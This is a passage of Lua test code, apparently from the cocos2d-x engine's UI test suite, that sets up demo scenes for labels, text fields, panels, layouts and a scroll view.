if cc.Director:getInstance():getWinSizeInPixels().height > 320 then
labelAtlas:setProperty("1234567890", "cocosui/labelatlas.png", 34, 44, "0")
else
labelAtlas:setProperty("1234567890", "cocosui/labelatlas.png", 17, 22, "0")
end
labelAtlas:setPosition(cc.p((widgetSize.width) / 2, widgetSize.height / 2.0))
self._uiLayer:addChild(labelAtlas)
end
end)
add_new_testcase(function ()
local UILabelBMFontTest = create("UILabelBMFontTest",UIScene)
function UILabelBMFontTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("LabelBMFont")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local labelBMFont = ccui.TextBMFont:create()
labelBMFont:setFntFile("cocosui/bitmapFontTest2.fnt")
labelBMFont:setString("BMFont")
labelBMFont:setPosition(cc.p(widgetSize.width / 2, widgetSize.height / 2.0 + labelBMFont:getContentSize().height / 8.0))
self._uiLayer:addChild(labelBMFont)
end
end)
add_new_testcase(function()
local UILabelTest = create("UILabelTest",UIScene)
function UILabelTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Label")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local label = ccui.Text:create()
label:setString("Label")
label:setFontName("AmericanTypewriter")
label:setFontSize(30)
label:setPosition(cc.p(widgetSize.width / 2, widgetSize.height / 2 + label:getContentSize().height / 4))
self._uiLayer:addChild(label)
end
end)
add_new_testcase(function()
local UITextAreaTest = create("UITextAreaTest",UIScene)
function UITextAreaTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("TextArea")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local textArea = ccui.Text:create()
textArea:ignoreContentAdaptWithSize(false)
textArea:setContentSize(cc.size(280, 150))
textArea:setTextHorizontalAlignment(cc.TEXT_ALIGNMENT_CENTER)
textArea:setString("TextArea widget can line wrap")
textArea:setFontName("AmericanTypewriter")
textArea:setFontSize(32)
textArea:setPosition(cc.p(widgetSize.width / 2, widgetSize.height / 2 - textArea:getContentSize().height / 8))
self._uiLayer:addChild(textArea)
end
end)
add_new_testcase(function()
local UITextFieldTest = create("UITextFieldTest",UIScene)
function UITextFieldTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("TextField")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function textFieldEvent(sender, eventType)
if eventType == ccui.TextFiledEventType.attach_with_ime then
local textField = sender
textField:runAction(cc.MoveBy:create(0.225,cc.p(0, 20)))
self._displayValueLabel:setString("attach with IME")
elseif eventType == ccui.TextFiledEventType.detach_with_ime then
local textField = sender
textField:runAction(cc.MoveBy:create(0.175, cc.p(0, -20)))
self._displayValueLabel:setString("detach with IME")
elseif eventType == ccui.TextFiledEventType.insert_text then
self._displayValueLabel:setString("insert words")
elseif eventType == ccui.TextFiledEventType.delete_backward then
self._displayValueLabel:setString("delete word")
end
end
local textField = ccui.TextField:create()
textField:setTouchEnabled(true)
textField:setFontName(font_TextName)
textField:setFontSize(30)
textField:setPlaceHolder("input words here")
textField:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
textField:addEventListener(textFieldEvent)
self._uiLayer:addChild(textField)
end
end)
add_new_testcase(function()
local UITextFieldMaxLengthTest = create("UITextFieldMaxLengthTest",UIScene)
function UITextFieldMaxLengthTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("TextField max length")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function textFieldEvent(sender, eventType)
if eventType == ccui.TextFiledEventType.attach_with_ime then
local textField = sender
textField:runAction(cc.MoveBy:create(0.225,cc.p(0, 20)))
local info = string.format("attach with IME max length %d",textField:getMaxLength())
self._displayValueLabel:setString(info)
elseif eventType == ccui.TextFiledEventType.detach_with_ime then
local textField = sender
textField:runAction(cc.MoveBy:create(0.175, cc.p(0, -20)))
local info = string.format("detach with IME max length %d",textField:getMaxLength())
self._displayValueLabel:setString(info)
elseif eventType == ccui.TextFiledEventType.insert_text then
local textField = sender
local info = string.format("insert words max length %d",textField:getMaxLength())
self._displayValueLabel:setString(info)
elseif eventType == ccui.TextFiledEventType.delete_backward then
local textField = sender
local info = string.format("delete word max length %d",textField:getMaxLength())
self._displayValueLabel:setString(info)
end
end
local textField = ccui.TextField:create()
textField:setMaxLengthEnabled(true)
textField:setMaxLength(3)
textField:setTouchEnabled(true)
textField:setFontName(font_TextName)
textField:setFontSize(30)
textField:setPlaceHolder("input words here")
textField:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
textField:addEventListener(textFieldEvent)
self._uiLayer:addChild(textField)
end
end)
add_new_testcase(function()
local UITextFieldPasswordTest = create("UITextFieldPasswordTest",UIScene)
function UITextFieldPasswordTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("No Event")
local alert = ccui.Text:create()
alert:setString("TextField password")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local function textFieldEvent(sender, eventType)
if eventType == ccui.TextFiledEventType.attach_with_ime then
local textField = sender
textField:runAction(cc.MoveBy:create(0.175, cc.p(0, 20)))
self._displayValueLabel:setString("detach with IME password")
elseif eventType == ccui.TextFiledEventType.detach_with_ime then
local textField = sender
textField:runAction(cc.MoveBy:create(0.175, cc.p(0, -20)))
self._displayValueLabel:setString("detach with IME password")
elseif eventType == ccui.TextFiledEventType.insert_text then
self._displayValueLabel:setString("insert words password")
elseif eventType == ccui.TextFiledEventType.delete_backward then
self._displayValueLabel:setString("delete word password")
end
end
local textField = ccui.TextField:create()
textField:setPasswordEnabled(true)
textField:setPasswordStyleText("*")
textField:setTouchEnabled(true)
textField:setFontName(font_TextName)
textField:setFontSize(30)
textField:setPlaceHolder("input password here")
textField:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
textField:addEventListener(textFieldEvent)
self._uiLayer:addChild(textField)
end
end)
add_new_testcase(function()
local UIPanelTest = create("UIPanelTest",UIScene)
function UIPanelTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 1.75))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(button:getContentSize().width / 2, layout:getContentSize().height - button:getContentSize().height / 2))
layout:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(textButton)
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(layout:getContentSize().width - button_scale9:getContentSize().width / 2, button_scale9:getContentSize().height / 2))
layout:addChild(button_scale9)
end
end)
add_new_testcase(function()
local UIPanelColorTest = create("UIPanelColorTest",UIScene)
function UIPanelColorTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel color render")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setBackGroundColorType(ccui.LayoutBackGroundColorType.solid)
layout:setBackGroundColor(cc.c3b(128, 128, 128))
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(button:getContentSize().width / 2, layout:getContentSize().height - button:getContentSize().height / 2))
layout:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(textButton)
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(layout:getContentSize().width - button_scale9:getContentSize().width / 2, button_scale9:getContentSize().height / 2))
layout:addChild(button_scale9)
end
end)
add_new_testcase(function()
local UIPanelGradientTest = create("UIPanelGradientTest",UIScene)
function UIPanelGradientTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel color Gradient")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setBackGroundColorType(ccui.LayoutBackGroundColorType.gradient)
layout:setBackGroundColor(cc.c3b(64, 64, 64), cc.c3b(192, 192, 192))
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(button:getContentSize().width / 2, layout:getContentSize().height - button:getContentSize().height / 2))
layout:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(textButton)
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(layout:getContentSize().width - button_scale9:getContentSize().width / 2, button_scale9:getContentSize().height / 2))
layout:addChild(button_scale9)
end
end)
add_new_testcase(function()
local UIPanelBackGroundImageTest = create("UIPanelBackGroundImageTest",UIScene)
function UIPanelBackGroundImageTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel background image")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setClippingEnabled(true)
layout:setBackGroundImage("cocosui/Hello.png")
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(button:getContentSize().width / 2, layout:getContentSize().height - button:getContentSize().height / 2))
layout:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(textButton)
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(layout:getContentSize().width - button_scale9:getContentSize().width / 2, button_scale9:getContentSize().height / 2))
layout:addChild(button_scale9)
end
end)
add_new_testcase(function()
local UIPanelBackGroundImageScale9Test = create("UIPanelBackGroundImageScale9Test",UIScene)
function UIPanelBackGroundImageScale9Test:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel background image scale9")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setBackGroundImageScale9Enabled(true)
layout:setBackGroundImage("cocosui/green_edit.png")
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(button:getContentSize().width / 2, layout:getContentSize().height - button:getContentSize().height / 2))
layout:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(layout:getContentSize().width / 2, layout:getContentSize().height / 2))
layout:addChild(textButton)
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
button_scale9:setPosition(cc.p(layout:getContentSize().width - button_scale9:getContentSize().width / 2, button_scale9:getContentSize().height / 2))
layout:addChild(button_scale9)
end
end)
add_new_testcase(function()
local UIPanelLayoutLinearVerticalTest = create("UIPanelLayoutLinearVerticalTest",UIScene)
function UIPanelLayoutLinearVerticalTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel Layout Linear Vertical")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setLayoutType(ccui.LayoutType.VERTICAL)
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
layout:addChild(button)
local lp1 = ccui.LinearLayoutParameter:create()
button:setLayoutParameter(lp1)
lp1:setGravity(ccui.LinearGravity.centerHorizontal)
lp1:setMargin({ left = 0, top = 5, right = 0, bottom = 10 })
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
layout:addChild(textButton)
local lp2 = ccui.LinearLayoutParameter:create()
textButton:setLayoutParameter(lp2)
lp2:setGravity(ccui.LinearGravity.centerHorizontal)
lp2:setMargin({left = 0, top = 10, right = 0, bottom = 10} )
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
layout:addChild(button_scale9)
local lp3 = ccui.LinearLayoutParameter:create()
button_scale9:setLayoutParameter(lp3)
lp3:setGravity(ccui.LinearGravity.centerHorizontal)
lp3:setMargin({ left = 0, top = 10, right = 0, bottom = 10 } )
end
end)
add_new_testcase(function()
local UIPanelLayoutLinearHorizontalTest = create("UIPanelLayoutLinearHorizontalTest",UIScene)
function UIPanelLayoutLinearHorizontalTest:initExtend()
local widgetSize = self._widget:getContentSize()
local alert = ccui.Text:create()
alert:setString("Panel Layout Linear Horizontal")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local layout = ccui.Layout:create()
layout:setLayoutType(ccui.LayoutType.HORIZONTAL)
layout:setClippingEnabled(true)
layout:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
layout:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - layout:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - layout:getContentSize().height) / 2))
self._uiLayer:addChild(layout)
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
layout:addChild(button)
local lp1 = ccui.LinearLayoutParameter:create()
button:setLayoutParameter(lp1)
lp1:setGravity(ccui.LinearGravity.centerVertical)
lp1:setMargin({left = 0, top = 10, right = 0, bottom = 10} )
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
layout:addChild(textButton)
local lp2 = ccui.LinearLayoutParameter:create()
textButton:setLayoutParameter(lp2)
lp2:setGravity(ccui.LinearGravity.centerVertical)
lp2:setMargin({left = 0,top = 10,right = 0,bottom = 10})
local button_scale9 = ccui.Button:create()
button_scale9:setTouchEnabled(true)
button_scale9:loadTextures("cocosui/button.png", "cocosui/buttonHighlighted.png", "")
button_scale9:setScale9Enabled(true)
button_scale9:setContentSize(cc.size(100, button_scale9:getVirtualRendererSize().height))
layout:addChild(button_scale9)
local lp3 = ccui.LinearLayoutParameter:create()
button_scale9:setLayoutParameter(lp3)
lp3:setGravity(ccui.LinearGravity.centerVertical)
lp3:setMargin({left = 0, top = 10, right = 0, bottom = 10})
end
end)
add_new_testcase(function()
local UILayoutComponentBerthTest = create("UILayoutComponentBerthTest",UIScene)
function UILayoutComponentBerthTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("LayoutComponent Berth Test")
local baseLayer = cc.LayerColor:create()
baseLayer:setColor(cc.c3b(50, 100, 0))
baseLayer:setOpacity(100)
baseLayer:setContentSize(cc.size(200, 200))
self._uiLayer:addChild(baseLayer)
button = ccui.Button:create("cocosui/animationbuttonnormal.png")
print(string.format("content size should be greater than 0: width = %f, height = %f", button:getContentSize().width,
button:getContentSize().height))
button:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
button:addTouchEventListener(function(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local touchWidgetSize = self._widget:getContentSize()
local layerSize = baseLayer:getContentSize()
if (layerSize.width == touchWidgetSize.width and layerSize.height == touchWidgetSize.height) then
baseLayer:setContentSize(cc.size(200, 200))
else
baseLayer:setContentSize(widgetSize)
end
ccui.Helper:doLayout(baseLayer)
end
end)
button:setZoomScale(0.4)
button:setPressedActionEnabled(true)
self._uiLayer:addChild(button)
local leftTopSprite = cc.Sprite:create("cocosui/CloseSelected.png")
local leftTop = ccui.LayoutComponent:bindLayoutComponent(leftTopSprite)
leftTop:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Left)
leftTop:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Top)
baseLayer:addChild(leftTopSprite)
local leftBottomSprite = cc.Sprite:create("cocosui/CloseSelected.png")
local leftBottom = ccui.LayoutComponent:bindLayoutComponent(leftBottomSprite)
leftBottom:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Left)
leftBottom:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Bottom)
baseLayer:addChild(leftBottomSprite)
local rightTopSprite = cc.Sprite:create("cocosui/CloseSelected.png")
local rightTop = ccui.LayoutComponent:bindLayoutComponent(rightTopSprite)
rightTop:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Right)
rightTop:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Top)
baseLayer:addChild(rightTopSprite)
local rightBottomSprite = cc.Sprite:create("cocosui/CloseSelected.png")
local rightBottom = ccui.LayoutComponent:bindLayoutComponent(rightBottomSprite)
rightBottom:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Right)
rightBottom:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Bottom)
baseLayer:addChild(rightBottomSprite)
ccui.Helper:doLayout(baseLayer)
end
end)
add_new_testcase(function()
local UILayoutComponentBerthStretchTest = create("UILayoutComponentBerthStretchTest",UIScene)
function UILayoutComponentBerthStretchTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("LayoutComponent Berth Stretch Test")
local baseLayer = cc.LayerColor:create()
baseLayer:setColor(cc.c3b(50, 100, 0))
baseLayer:setOpacity(100)
baseLayer:setContentSize(cc.size(200, 200))
self._uiLayer:addChild(baseLayer)
button = ccui.Button:create("cocosui/animationbuttonnormal.png")
print(string.format("content size should be greater than 0: width = %f, height = %f", button:getContentSize().width,
button:getContentSize().height))
button:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0))
button:addTouchEventListener(function(sender, eventType)
if eventType == ccui.TouchEventType.ended then
local touchWidgetSize = self._widget:getContentSize()
local layerSize = baseLayer:getContentSize()
if (layerSize.width == touchWidgetSize.width and layerSize.height == touchWidgetSize.height) then
baseLayer:setContentSize(cc.size(200, 200))
else
baseLayer:setContentSize(widgetSize)
end
ccui.Helper:doLayout(baseLayer)
end
end)
button:setZoomScale(0.4)
button:setPressedActionEnabled(true)
self._uiLayer:addChild(button)
local leftTopSprite = ccui.ImageView:create("cocosui/CloseSelected.png")
leftTopSprite:ignoreContentAdaptWithSize(false)
local leftTop = ccui.LayoutComponent:bindLayoutComponent(leftTopSprite)
leftTop:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Left)
leftTop:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Top)
leftTop:setStretchWidthEnabled(true)
leftTop:setStretchHeightEnabled(true)
baseLayer:addChild(leftTopSprite)
leftTop:setSize(leftTopSprite:getContentSize())
leftTop:setLeftMargin(0)
leftTop:setTopMargin(0)
local leftBottomSprite = ccui.ImageView:create("cocosui/CloseSelected.png")
leftBottomSprite:ignoreContentAdaptWithSize(false)
local leftBottom = ccui.LayoutComponent:bindLayoutComponent(leftBottomSprite)
leftBottom:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Left)
leftBottom:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Bottom)
leftBottom:setStretchWidthEnabled(true)
leftBottom:setStretchHeightEnabled(true)
baseLayer:addChild(leftBottomSprite)
leftBottom:setSize(leftBottomSprite:getContentSize())
leftBottom:setLeftMargin(0)
leftBottom:setBottomMargin(0)
local rightTopSprite = ccui.ImageView:create("cocosui/CloseSelected.png")
rightTopSprite:ignoreContentAdaptWithSize(false)
local rightTop = ccui.LayoutComponent:bindLayoutComponent(rightTopSprite)
rightTop:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Right)
rightTop:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Top)
rightTop:setStretchWidthEnabled(true)
rightTop:setStretchHeightEnabled(true)
baseLayer:addChild(rightTopSprite)
rightTop:setSize(rightTopSprite:getContentSize())
rightTop:setTopMargin(0)
rightTop:setRightMargin(0)
local rightBottomSprite = ccui.ImageView:create("cocosui/CloseSelected.png")
rightBottomSprite:ignoreContentAdaptWithSize(false)
local rightBottom = ccui.LayoutComponent:bindLayoutComponent(rightBottomSprite)
rightBottom:setHorizontalEdge(ccui.LayoutComponent.HorizontalEdge.Right)
rightBottom:setVerticalEdge(ccui.LayoutComponent.VerticalEdge.Bottom)
rightBottom:setStretchWidthEnabled(true)
rightBottom:setStretchHeightEnabled(true)
baseLayer:addChild(rightBottomSprite)
rightBottom:setSize(rightBottomSprite:getContentSize())
rightBottom:setBottomMargin(0)
rightBottom:setRightMargin(0)
ccui.Helper:doLayout(baseLayer)
end
end)
add_new_testcase(function()
local UIScrollViewVerticalTest = create("UIScrollViewVerticalTest",UIScene)
function UIScrollViewVerticalTest:initExtend()
local widgetSize = self._widget:getContentSize()
self._displayValueLabel:setString("Move by vertical direction")
local alert = ccui.Text:create()
alert:setString("ScrollView")
alert:setFontName(font_TextName)
alert:setFontSize(30)
alert:setColor(cc.c3b(159, 168, 176))
alert:setPosition(cc.p(widgetSize.width / 2.0, widgetSize.height / 2.0 - alert:getContentSize().height * 2.925))
self._uiLayer:addChild(alert)
local root = self._uiLayer:getChildByTag(81)
local background = root:getChildByName("background_Panel")
local scrollView = ccui.ScrollView:create()
scrollView:setTouchEnabled(true)
scrollView:setContentSize(cc.size(280, 150))
local backgroundSize = background:getContentSize()
scrollView:setPosition(cc.p((widgetSize.width - backgroundSize.width) / 2 +
(backgroundSize.width - scrollView:getContentSize().width) / 2,
(widgetSize.height - backgroundSize.height) / 2 +
(backgroundSize.height - scrollView:getContentSize().height) / 2))
scrollView:setScrollBarWidth(4)
scrollView:setScrollBarPositionFromCorner(cc.p(2,2))
scrollView:setScrollBarColor(cc.RED)
self._uiLayer:addChild(scrollView)
local imageView = ccui.ImageView:create()
imageView:loadTexture("cocosui/ccicon.png")
local innerWidth = scrollView:getContentSize().width
local innerHeight = scrollView:getContentSize().height + imageView:getContentSize().height
scrollView:setInnerContainerSize(cc.size(innerWidth, innerHeight))
local button = ccui.Button:create()
button:setTouchEnabled(true)
button:loadTextures("cocosui/animationbuttonnormal.png", "cocosui/animationbuttonpressed.png", "")
button:setPosition(cc.p(innerWidth / 2, scrollView:getInnerContainerSize().height - button:getContentSize().height / 2))
scrollView:addChild(button)
local textButton = ccui.Button:create()
textButton:setTouchEnabled(true)
textButton:loadTextures("cocosui/backtotopnormal.png", "cocosui/backtotoppressed.png", "")
textButton:setTitleText("Text Button")
textButton:setPosition(cc.p(innerWidth / 2, button:getBottomBoundary() - button:getContentSize().height))
scrollView:addChild(textButton)
local button_scale9 = ccui.Button:create()
